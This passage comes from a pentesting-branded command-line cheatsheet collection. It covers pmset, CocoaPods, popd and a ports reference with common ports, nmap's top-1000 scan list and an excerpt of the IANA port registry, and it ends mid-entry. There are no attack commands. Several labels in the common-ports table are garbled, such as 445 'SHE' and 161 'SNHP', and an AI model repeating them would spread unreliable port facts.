#                ██╔═══╝ ██║╚██╔╝██║╚════██║██╔══╝     ██║   
#                ██║     ██║ ╚═╝ ██║███████║███████╗   ██║   
#                ╚═╝     ╚═╝     ╚═╝╚══════╝╚══════╝   ╚═╝   

# Configure macOS power management settings, as one might do in System Preferences > Energy Saver.
# Commands that modify settings must begin with sudo (Mac OS X)

# Display the current power management settings:
pmset -g
 
# Display the current power source and battery levels - Remaining battery time is displayed in minutes
pmset -g batt | awk '/^ /{print $5}'

# Set display to never sleep when on charger power:
sudo pmset -c displaysleep 0

# Set display to sleep after 15 minutes when on battery power:
sudo pmset -b displaysleep 15

# Schedule computer to automatically wake up every weekday at 9 AM:
sudo pmset repeat wake MTWRF 09:00:00

# Restore to system defaults:
sudo pmset -a displaysleep 10 disksleep 10 sleep 30 womp 1

#==============================##==============================#
# CMD PMSET						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

128 - 🖥️pod

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pod command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗ ██████╗ 
#  ██╔══██╗██╔═══██╗██╔══██╗
#  ██████╔╝██║   ██║██║  ██║
#  ██╔═══╝ ██║   ██║██║  ██║
#  ██║     ╚██████╔╝██████╔╝
#  ╚═╝      ╚═════╝ ╚═════╝ 

# pod
#
# Dependency manager for Swift and Objective-C Cocoa projects.

# Create a Podfile for the current project with the default contents:
pod init

# Download and install all pods defined in the Podfile (that haven't been installed before):
pod install

# List all available pods:
pod list

# Show the outdated pods (of those currently installed):
pod outdated

# Update all currently installed pods to their newest version:
pod update

# Update a specific (previously installed) pod to its newest version:
pod update pod_name

# Remove CocoaPods from a Xcode project:
pod deintegrate xcode_project
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

129 - 🖥️popd

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the popd command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ██████╗  ██████╗ ██████╗ ██████╗ 
#                ██╔══██╗██╔═══██╗██╔══██╗██╔══██╗
#                ██████╔╝██║   ██║██████╔╝██║  ██║
#                ██╔═══╝ ██║   ██║██╔═══╝ ██║  ██║
#                ██║     ╚██████╔╝██║     ██████╔╝
#                ╚═╝      ╚═════╝ ╚═╝     ╚═════╝ 
                

                                                
# Returns to the directory at the top of the `pushd' stack
popd

#==============================##==============================#
# CMD POPD						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

130 - 🖥️ports

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ports command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██████╗  ██████╗ ██████╗ ████████╗███████╗
#  ██╔══██╗██╔═══██╗██╔══██╗╚══██╔══╝██╔════╝
#  ██████╔╝██║   ██║██████╔╝   ██║   ███████╗
#  ██╔═══╝ ██║   ██║██╔══██╗   ██║   ╚════██║
#  ██║     ╚██████╔╝██║  ██║   ██║   ███████║
#  ╚═╝      ╚═════╝ ╚═╝  ╚═╝   ╚═╝   ╚══════╝
    

port 6556 check_mk

COMMON PORTS
21 		FTP 						520 		RIP
22 		SSH 						546/7 		DHCPv6
23 		Tel net 					587 		SMTP
25 		SMTP 						902 		VMWare
49 		TACACS 						1080 		Socks Proxy
53 		DNS 						1194 		VPN
67/68 		DHCP (UDP) 					1433/4 		MS-SQL
69 		TFTP (UDP) 					1521 		Oracle
80 		HTTP 						1629 		DarneWare
88 		Kerberos 					2049 		NFS
110 		POP3 						3128 		Squid Proxy
111 		RPC 						3306 		MySQL
123 		NTP (UDP) 					3389 		RDP
135 		Windows RPC 					5060 		SIP
137 		NetBIOS 					5222 		Jabber
138 		NetBIOS 					5432 		Postgres
139 		SMB	 					5666 		Nagios
143 		IMAP 						5900 		VNC
161 		SNHP (UDP) 					6000 		X11
179 		BGP 						6129 		DameWare
201 		AppleTalk 					6667 		IRC
389 		LDAP 						9001 		Tor
443 		HTTPS 						9001 		HSQL
445 		SHE 						9090/1 		Open fire
500 		ISAKMP (UDP) 					9100 		Jet Direct
514 		Syslog

# nmap-top1000-ports.txt
1,3-4,6-7,9,13,17,19-26,30,32-33,37,42-43,49,53,70,79-85,88-90,99-100,106,109-111,113,119,125,135,139,143-144,146,161,163,179,199,211-212,222,254-256,259,264,280,301,306,311,340,366,389,406-407,416-417,425,427,443-445,458,464-465,481,497,500,512-515,524,541,543-545,548,554-555,563,587,593,616-617,625,631,636,646,648,666-668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800-801,808,843,873,880,888,898,900-903,911-912,981,987,990,992-993,995,999-1002,1007,1009-1011,1021-1100,1102,1104-1108,1110-1114,1117,1119,1121-1124,1126,1130-1132,1137-1138,1141,1145,1147-1149,1151-1152,1154,1163-1166,1169,1174-1175,1183,1185-1187,1192,1198-1199,1201,1213,1216-1218,1233-1234,1236,1244,1247-1248,1259,1271-1272,1277,1287,1296,1300-1301,1309-1311,1322,1328,1334,1352,1417,1433-1434,1443,1455,1461,1494,1500-1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687-1688,1700,1717-1721,1723,1755,1761,1782-1783,1801,1805,1812,1839-1840,1862-1864,1875,1900,1914,1935,1947,1971-1972,1974,1984,1998-2010,2013,2020-2022,2030,2033-2035,2038,2040-2043,2045-2049,2065,2068,2099-2100,2103,2105-2107,2111,2119,2121,2126,2135,2144,2160-2161,2170,2179,2190-2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381-2383,2393-2394,2399,2401,2492,2500,2522,2525,2557,2601-2602,2604-2605,2607-2608,2638,2701-2702,2710,2717-2718,2725,2800,2809,2811,2869,2875,2909-2910,2920,2967-2968,2998,3000-3001,3003,3005-3007,3011,3013,3017,3030-3031,3052,3071,3077,3128,3168,3211,3221,3260-3261,3268-3269,3283,3300-3301,3306,3322-3325,3333,3351,3367,3369-3372,3389-3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689-3690,3703,3737,3766,3784,3800-3801,3809,3814,3826-3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000-4006,4045,4111,4125-4126,4129,4224,4242,4279,4321,4343,4443-4446,4449,4550,4567,4662,4848,4899-4900,4998,5000-5004,5009,5030,5033,5050-5051,5054,5060-5061,5080,5087,5100-5102,5120,5190,5200,5214,5221-5222,5225-5226,5269,5280,5298,5357,5405,5414,5431-5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678-5679,5718,5730,5800-5802,5810-5811,5815,5822,5825,5850,5859,5862,5877,5900-5904,5906-5907,5910-5911,5915,5922,5925,5950,5952,5959-5963,5987-5989,5998-6007,6009,6025,6059,6100-6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565-6567,6580,6646,6666-6669,6689,6692,6699,6779,6788-6789,6792,6839,6881,6901,6969,7000-7002,7004,7007,7019,7025,7070,7100,7103,7106,7200-7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777-7778,7800,7911,7920-7921,7937-7938,7999-8002,8007-8011,8021-8022,8031,8042,8045,8080-8090,8093,8099-8100,8180-8181,8192-8194,8200,8222,8254,8290-8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651-8652,8654,8701,8800,8873,8888,8899,8994,9000-9003,9009-9011,9040,9050,9071,9080-9081,9090-9091,9099-9103,9110-9111,9200,9207,9220,9290,9415,9418,9485,9500,9502-9503,9535,9575,9593-9595,9618,9666,9876-9878,9898,9900,9917,9929,9943-9944,9968,9998-10004,10009-10010,10012,10024-10025,10082,10180,10215,10243,10566,10616-10617,10621,10626,10628-10629,10778,11110-11111,11967,12000,12174,12265,12345,13456,13722,13782-13783,14000,14238,14441-14442,15000,15002-15004,15660,15742,16000-16001,16012,16016,16018,16080,16113,16992-16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221-20222,20828,21571,22939,23502,24444,24800,25734-25735,26214,27000,27352-27353,27355-27356,27715,28201,30000,30718,30951,31038,31337,32768-32785,33354,33899,34571-34573,35500,38292,40193,40911,41511,42510,44176,44442-44443,44501,45100,48080,49152-49161,49163,49165,49167,49175-49176,49400,49999-50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055-55056,55555,55600,56737-56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389,280,4567,7001,8008,9080

# common-http-ports.txt 
66
80
81
443
445
457
1080
1100
1241
1352
1433
1434
1521
1944
2301
3128
3306
4000
4001
4002
4100
5000
5432
5800
5801
5802
6346
6347
7001
7002
8080
8888
30821

Source: 
https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.txt

                                               Service Name and Transport Protocol Port Number Registry

   Last Updated
           2018-12-03

   Expert(s)

 TCP/UDP: Joe Touch; Eliot Lear, Allison Mankin, Markku Kojo, Kumiko Ono, Martin Stiemerling,
 Lars Eggert, Alexey Melnikov, Wes Eddy, Alexander Zimmermann, Brian Trammell, and Jana Iyengar
 SCTP: Allison Mankin and Michael Tuexen
 DCCP: Eddie Kohler and Yoshifumi Nishida

   Reference
           [RFC6335]

   Note

 Service names and port numbers are used to distinguish between different
 services that run over transport protocols such as TCP, UDP, DCCP, and
 SCTP.

 Service names are assigned on a first-come, first-served process, as
 documented in [RFC6335].

 Port numbers are assigned in various ways, based on three ranges: System
 Ports (0-1023), User Ports (1024-49151), and the Dynamic and/or Private
 Ports (49152-65535); the difference uses of these ranges is described in
 [RFC6335]. According to Section 8.1.2 of [RFC6335], System Ports are
 assigned by the "IETF Review" or "IESG Approval" procedures described in
 [RFC8126]. User Ports are assigned by IANA using the "IETF Review" process,
 the "IESG Approval" process, or the "Expert Review" process, as per
 [RFC6335]. Dynamic Ports are not assigned.

 The registration procedures for service names and port numbers are
 described in [RFC6335].

 Assigned ports both System and User ports SHOULD NOT be used without
 or prior to IANA registration.

 ************************************************************************
 * PLEASE NOTE THE FOLLOWING:                                           *
 *                                                                      *
 * ASSIGNMENT OF A PORT NUMBER DOES NOT IN ANY WAY IMPLY AN             *
 * ENDORSEMENT OF AN APPLICATION OR PRODUCT, AND THE FACT THAT NETWORK  *
 * TRAFFIC IS FLOWING TO OR FROM A REGISTERED PORT DOES NOT MEAN THAT   *
 * IT IS "GOOD" TRAFFIC, NOR THAT IT NECESSARILY CORRESPONDS TO THE     *
 * ASSIGNED SERVICE. FIREWALL AND SYSTEM ADMINISTRATORS SHOULD          *
 * CHOOSE HOW TO CONFIGURE THEIR SYSTEMS BASED ON THEIR KNOWLEDGE OF    *
 * THE TRAFFIC IN QUESTION, NOT WHETHER THERE IS A PORT NUMBER          *
 * REGISTERED OR NOT.                                                   *
 ************************************************************************

   Available Formats
           [IMG]
           CSV [IMG]
           XML [IMG]
           HTML [IMG]
           Plain text

                            Transport                                                                                                                                              Registration Modification                                               Service      Known
 Service Name   Port Number Protocol          Description                                Assignee                                                 Contact                              Date         Date                      Reference                      Code    Unauthorized                       Assignment Notes
                                                                                                                                                                                                                                                                         Uses
                     0         tcp    Reserved                     [Jon_Postel]                                          [Jon_Postel]
                     0         udp    Reserved                     [Jon_Postel]                                          [Jon_Postel]
tcpmux               1         tcp    TCP Port Service Multiplexer [Mark_Lottor]                                         [Mark_Lottor]
tcpmux               1         udp    TCP Port Service Multiplexer [Mark_Lottor]                                         [Mark_Lottor]
compressnet          2         tcp    Management Utility
compressnet          2         udp    Management Utility
compressnet          3         tcp    Compression Process          [Bernie_Volz]                                         [Bernie_Volz]
compressnet          3         udp    Compression Process          [Bernie_Volz]                                         [Bernie_Volz]
                     4         tcp    Unassigned
                     4         udp    Unassigned
rje                  5         tcp    Remote Job Entry             [Jon_Postel]                                          [Jon_Postel]
rje                  5         udp    Remote Job Entry             [Jon_Postel]                                          [Jon_Postel]
                     6         tcp    Unassigned
                     6         udp    Unassigned
echo                 7         tcp    Echo                         [Jon_Postel]                                          [Jon_Postel]
echo                 7         udp    Echo                         [Jon_Postel]                                          [Jon_Postel]
                     8         tcp    Unassigned
                     8         udp    Unassigned
discard              9         tcp    Discard                      [Jon_Postel]                                          [Jon_Postel]
discard              9         udp    Discard                      [Jon_Postel]                                          [Jon_Postel]
discard              9        sctp    Discard                      [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]
discard              9        dccp    Discard                      [Eddie_Kohler]                                        [Eddie_Kohler]                                                                      [RFC4340]                                    1145656131
                    10         tcp    Unassigned
                    10         udp    Unassigned
systat              11         tcp    Active Users                 [Jon_Postel]                                          [Jon_Postel]
systat              11         udp    Active Users                 [Jon_Postel]                                          [Jon_Postel]
                    12         tcp    Unassigned
                    12         udp    Unassigned
daytime             13         tcp    Daytime                      [Jon_Postel]                                          [Jon_Postel]                                                                        [RFC867]
daytime             13         udp    Daytime                      [Jon_Postel]                                          [Jon_Postel]                                                                        [RFC867]
                    14         tcp    Unassigned
                    14         udp    Unassigned
                    15         tcp    Unassigned [was netstat]
                    15         udp    Unassigned
                    16         tcp    Unassigned
                    16         udp    Unassigned
qotd                17         tcp    Quote of the Day             [Jon_Postel]                                          [Jon_Postel]
qotd                17         udp    Quote of the Day             [Jon_Postel]                                          [Jon_Postel]
msp                 18         tcp    Message Send Protocol        [Rina_Nethaniel]                                      [Rina_Nethaniel]
                                      (historic)
msp                 18         udp    Message Send Protocol        [Rina_Nethaniel]                                      [Rina_Nethaniel]
                                      (historic)
chargen             19         tcp    Character Generator
chargen             19         udp    Character Generator
ftp-data            20         tcp    File Transfer [Default Data] [Jon_Postel]                                          [Jon_Postel]
ftp-data            20         udp    File Transfer [Default Data] [Jon_Postel]                                          [Jon_Postel]
ftp-data            20        sctp    FTP                          [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]
ftp                 21         tcp    File Transfer Protocol       [Jon_Postel]                                          [Jon_Postel]                                                                        [RFC959]                                                             Defined TXT keys: u=<username> p=<password> path=<path>
                                      [Control]
ftp                 21         udp    File Transfer Protocol       [Jon_Postel]                                          [Jon_Postel]                                                                        [RFC959]                                                             Defined TXT keys: u=<username> p=<password> path=<path>
                                      [Control]
ftp                 21        sctp    FTP                          [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]                                                            Defined TXT keys: u=<username> p=<password> path=<path>
ssh                 22         tcp    The Secure Shell (SSH)                                                                                                                                                 [RFC4251]                                                            Defined TXT keys: u=<username> p=<password>
                                      Protocol
ssh                 22         udp    The Secure Shell (SSH)                                                                                                                                                 [RFC4251]                                                            Defined TXT keys: u=<username> p=<password>
                                      Protocol
ssh                 22        sctp    SSH                          [Randall_Stewart]                                     [Randall_Stewart]                                                                   [RFC4960]                                                            Defined TXT keys: u=<username> p=<password>
telnet              23         tcp    Telnet                       [Jon_Postel]                                          [Jon_Postel]                                                                        [RFC854]                                                             Defined TXT keys: u=<username> p=<password>
telnet              23         udp    Telnet                       [Jon_Postel]                                          [Jon_Postel]                                                                        [RFC854]                                                             Defined TXT keys: u=<username> p=<password>
                    24         tcp    any private mail system      [Rick_Adams]                                          [Rick_Adams]
                    24         udp    any private mail system      [Rick_Adams]                                          [Rick_Adams]
smtp                25         tcp    Simple Mail Transfer         [IESG]                                                [IETF_Chair]                                                           2017-06-05   [RFC5321]
smtp                25         udp    Simple Mail Transfer         [IESG]                                                [IETF_Chair]                                                           2017-06-05   [RFC5321]
                    26         tcp    Unassigned
                    26         udp    Unassigned
nsw-fe              27         tcp    NSW User System FE           [Robert_Thomas]                                       [Robert_Thomas]
nsw-fe              27         udp    NSW User System FE           [Robert_Thomas]                                       [Robert_Thomas]
                    28         tcp    Unassigned
                    28         udp    Unassigned
msg-icp             29         tcp    MSG ICP                      [Robert_Thomas]                                       [Robert_Thomas]
msg-icp             29         udp    MSG ICP                      [Robert_Thomas]                                       [Robert_Thomas]
                    30         tcp    Unassigned
                    30         udp    Unassigned
msg-auth            31         tcp    MSG Authentication           [Robert_Thomas]                                       [Robert_Thomas]
msg-auth            31         udp    MSG Authentication           [Robert_Thomas]                                       [Robert_Thomas]
                    32         tcp    Unassigned
                    32         udp    Unassigned
dsp                 33         tcp    Display Support Protocol     [Ed_Cain]                                             [Ed_Cain]
dsp                 33         udp    Display Support Protocol     [Ed_Cain]                                             [Ed_Cain]
                    34         tcp    Unassigned
                    34         udp    Unassigned
                    35         tcp    any private printer server   [Jon_Postel]                                          [Jon_Postel]
                    35         udp    any private printer server   [Jon_Postel]                                          [Jon_Postel]
                    36         tcp    Unassigned
                    36         udp    Unassigned
time                37         tcp    Time                         [Jon_Postel]                                          [Jon_Postel]
time                37         udp    Time                         [Jon_Postel]                                          [Jon_Postel]
rap                 38         tcp    Route Access Protocol        [Robert_Ullmann]                                      [Robert_Ullmann]
rap                 38         udp    Route Access Protocol        [Robert_Ullmann]                                      [Robert_Ullmann]
rlp                 39         tcp    Resource Location Protocol   [Mike_Accetta]                                        [Mike_Accetta]
rlp                 39         udp    Resource Location Protocol   [Mike_Accetta]                                        [Mike_Accetta]
                    40         tcp    Unassigned
                    40         udp    Unassigned
graphics            41         tcp    Graphics
graphics            41         udp    Graphics
name                42         tcp    Host Name Server
name                42         udp    Host Name Server
nameserver          42         tcp    Host Name Server
nameserver          42         udp    Host Name Server
nicname             43         tcp    Who Is
nicname             43         udp    Who Is
mpm-flags           44         tcp    MPM FLAGS Protocol
mpm-flags           44         udp    MPM FLAGS Protocol
mpm                 45         tcp    Message Processing Module
                                      [recv]
mpm                 45         udp    Message Processing Module
                                      [recv]
mpm-snd             46         tcp    MPM [default send]           [Jon_Postel]                                          [Jon_Postel]
mpm-snd             46         udp    MPM [default send]           [Jon_Postel]                                          [Jon_Postel]
                    47         tcp    Reserved                                                                                                                                                  2017-05-18                                                                        This entry has been removed on 2017-05-18.
                    47         udp    Reserved                                                                                                                                                  2017-05-18                                                                        This entry has been removed on 2017-05-18.
auditd              48         tcp    Digital Audit Daemon         [Larry_Scott]                                         [Larry_Scott]
auditd              48         udp    Digital Audit Daemon         [Larry_Scott]                                         [Larry_Scott]
tacacs              49         tcp    Login Host Protocol (TACACS) [Pieter_Ditmars]                                      [Pieter_Ditmars]
tacacs              49         udp    Login Host Protocol (TACACS) [Pieter_Ditmars]                                      [Pieter_Ditmars]
re-mail-ck          50         tcp    Remote Mail Checking         [Steve_Dorner]                                        [Steve_Dorner]
                                      Protocol
re-mail-ck          50         udp    Remote Mail Checking         [Steve_Dorner]                                        [Steve_Dorner]
                                      Protocol
                    51                Reserved                                                                                                                                                  2013-05-24                                                                        This entry is being removed on 2013-05-24.
xns-time            52         tcp    XNS Time Protocol            [Susie_Armstrong]                                     [Susie_Armstrong]
xns-time            52         udp    XNS Time Protocol            [Susie_Armstrong]                                     [Susie_Armstrong]
domain              53         tcp    Domain Name Server           [Paul_Mockapetris]                                    [Paul_Mockapetris]
domain              53         udp    Domain Name Server           [Paul_Mockapetris]                                    [Paul_Mockapetris]
xns-ch              54         tcp    XNS Clearinghouse            [Susie_Armstrong]                                     [Susie_Armstrong]
xns-ch              54         udp    XNS Clearinghouse            [Susie_Armstrong]                                     [Susie_Armstrong]
isi-gl              55         tcp    ISI Graphics Language
isi-gl              55         udp    ISI Graphics Language
xns-auth            56         tcp    XNS Authentication           [Susie_Armstrong]                                     [Susie_Armstrong]
xns-auth            56         udp    XNS Authentication           [Susie_Armstrong]                                     [Susie_Armstrong]
                    57         tcp    any private terminal access  [Jon_Postel]                                          [Jon_Postel]
                    57         udp    any private terminal access  [Jon_Postel]                                          [Jon_Postel]
xns-mail            58         tcp    XNS Mail                     [Susie_Armstrong]                                     [Susie_Armstrong]
xns-mail            58         udp    XNS Mail                     [Susie_Armstrong]                                     [Susie_Armstrong]
                    59         tcp    any private file service     [Jon_Postel]                                          [Jon_Postel]
                    59         udp    any private file service     [Jon_Postel]                                          [Jon_Postel]
                    60         tcp    Unassigned
                    60         udp    Unassigned
                    61         tcp    Reserved                                                                                                                                                  2017-05-18                                                                        This entry has been removed on 2017-05-18.
                    61         udp    Reserved                                                                                                                                                  2017-05-18                                                                        This entry has been removed on 2017-05-18.
acas                62         tcp    ACA Services                 [E_Wald]                                              [E_Wald]
acas                62         udp    ACA Services                 [E_Wald]                                              [E_Wald]
                                      whois++

whoispp             63         tcp    IANA assigned this           [Rickard_Schoultz]                                    [Rickard_Schoultz]
                                      well-formed service name as
                                      a replacement for "whois++".
                                                                                                                                                                                                                                                                                  This entry is an alias to "whoispp". This entry is now
whois++             63         tcp    whois++                      [Rickard_Schoultz]                                    [Rickard_Schoultz]                                                                                                                                       historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      whois++

whoispp             63         udp    IANA assigned this           [Rickard_Schoultz]                                    [Rickard_Schoultz]
                                      well-formed service name as
                                      a replacement for "whois++".
                                                                                                                                                                                                                                                                                  This entry is an alias to "whoispp". This entry is now
whois++             63         udp    whois++                      [Rickard_Schoultz]                                    [Rickard_Schoultz]                                                                                                                                       historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
covia               64         tcp    Communications Integrator    [Dan_Smith]                                           [Dan_Smith]
                                      (CI)
covia               64         udp    Communications Integrator    [Dan_Smith]                                           [Dan_Smith]
                                      (CI)
tacacs-ds           65         tcp    TACACS-Database Service      [Kathy_Huber]                                         [Kathy_Huber]
tacacs-ds           65         udp    TACACS-Database Service      [Kathy_Huber]                                         [Kathy_Huber]
                                      Oracle SQL*NET

sql-net             66         tcp    IANA assigned this           [Jack_Haverty]                                        [Jack_Haverty]
                                      well-formed service name as
                                      a replacement for "sql*net".
                                                                                                                                                                                                                                                                                  This entry is an alias to "sql-net". This entry is now
sql*net             66         tcp    Oracle SQL*NET               [Jack_Haverty]                                        [Jack_Haverty]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
                                      Oracle SQL*NET

sql-net             66         udp    IANA assigned this           [Jack_Haverty]                                        [Jack_Haverty]
                                      well-formed service name as
                                      a replacement for "sql*net".
                                                                                                                                                                                                                                                                                  This entry is an alias to "sql-net". This entry is now
sql*net             66         udp    Oracle SQL*NET               [Jack_Haverty]                                        [Jack_Haverty]                                                                                                                                           historic, not usable for use with many common service
                                                                                                                                                                                                                                                                                  discovery mechanisms.
bootps              67         tcp    Bootstrap Protocol Server    [Bill_Croft]                                          [Bill_Croft]                                                                        [RFC951]                                                             Defined TXT keys: None
bootps              67         udp    Bootstrap Protocol Server
bootpc              68         tcp    Bootstrap Protocol Client    [Bill_Croft]                                          [Bill_Croft]
bootpc              68         udp    Bootstrap Protocol Client    [Bill_Croft]                                          [Bill_Croft]
tftp                69         tcp    Trivial File Transfer        [David_Clark]                                         [David_Clark]
tftp                69         udp    Trivial File Transfer        [David_Clark]                                         [David_Clark]
gopher              70         tcp    Gopher                       [Mark_McCahill]                                       [Mark_McCahill]
gopher              70         udp    Gopher                       [Mark_McCahill]                                       [Mark_McCahill]
netrjs-1            71         tcp    Remote Job Service
netrjs-1            71         udp    Remote Job Service
netrjs-2            72         tcp    Remote Job Service
netrjs-2            72         udp    Remote Job Service
netrjs-3            73         tcp    Remote Job Service
netrjs-3            73         udp    Remote Job Service
netrjs-4            74         tcp    Remote Job Service           [Bob_Braden]                                          [Bob_Braden]
netrjs-4            74         udp    Remote Job Service           [Bob_Braden]                                          [Bob_Braden]
                    75         tcp    any private dial out service [Jon_Postel]                                          [Jon_Postel]
                    75         udp    any private dial out service [Jon_Postel]                                          [Jon_Postel]
deos                76         tcp    Distributed External Object  [Robert_Ullmann]                                      [Robert_Ullmann]
                                      Store
deos                76         udp    Distributed External Object  [Robert_Ullmann]                                      [Robert_Ullmann]
                                      Store
                    77         tcp    any private RJE service      [Jon_Postel]                                          [Jon_Postel]
                    77         udp    any private RJE service      [Jon_Postel]                                          [Jon_Postel]
vettcp              78         tcp    vettcp                       [Christopher_Leong]                                   [Christopher_Leong]
vettcp              78         udp    vettcp                       [Christopher_Leong]                                   [Christopher_Leong]
                                                                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     use by some
finger              79         tcp    Finger                       [David_Zimmerman]                                     [David_Zimmerman]                                                                                                                           mail users
                                                                                                                                                                                                                                                                     (see
                                                                                                                                                                                                                                                                     [RFC4146]
                                                                                                                                                                                                                                                                     for details)
                                                                                                                                                                                                                                                                     Unauthorized
                                                                                                                                                                                                                                                                     use by some
finger              79         udp    Finger                       [David_Zimmerman]                                     [David_Zimmerman]                                                                                                                           mail users
                                                                                                                                                                                                                                                                     (see
                                                                                                                                                                                                                                                                     [RFC4146]
                                                                                                                                                                                                                                                                     for details)
http                80         tcp    World Wide Web HTTP                                                                                                                                                                                                                         Defined TXT keys: u=<username> p=<password> path=<path to
                                                                                                                                                                                                                                                                                  document>
http                80         udp    World Wide Web HTTP                                                                                                                                                                                                                         Defined TXT keys: u=<username> p=<password> path=<path to
                                                                                                                                                                                                                                                                                  document>
www                 80         tcp    World Wide Web HTTP                                                                                                                                                                                                                         This is a duplicate of the "http" service and should not be
                                                                                                                                                                                                                                                                                  used for discovery purposes.
www                 80         udp    World Wide Web HTTP                                                                                                                                                                                                                         This is a duplicate of the "http" service and should not be
                                                                                                                                                                                                                                                                                  used for discovery purposes.
                                                                                                                                                                                                                                                                                  This is a duplicate of the "http" service and should not be
                                                                                                                                                                                                                                                                                  used for discovery purposes. u=<username> p=<password>
                                                                                                                                                                                                                                                                                  path=<path to document> (see txtrecords.html#http) Known
                                                                                                                                                                                                                                                                                  Subtypes: _printer NOTE: The meaning of this service type,
                                                                                                                                                                                                                                                                                  though called just "http", actually denotes something more
                                                                                                                                                                                                                                                                                  precise than just "any data transported using HTTP". The
                                                                                                                                                                                                                                                                                  DNS-SD service type "http" should only be used to advertise
                                                                                                                                                                                                                                                                                  content that: * is served over HTTP, * can be displayed by
                                                                                                                                                                                                                                                                                  "typical" web browser client software, and * is intented
                                                                                                                                                                                                                                                                                  primarily to be viewed by a human user. Of course, the
                                                                                                                                                                                                                                                                                  definition of "typical web browser" is subjective, and may
www-http            80         tcp    World Wide Web HTTP          [Tim_Berners_Lee]                                     [Tim_Berners_Lee]                                                                                                                                        change over time, but for practical purposes the DNS-SD
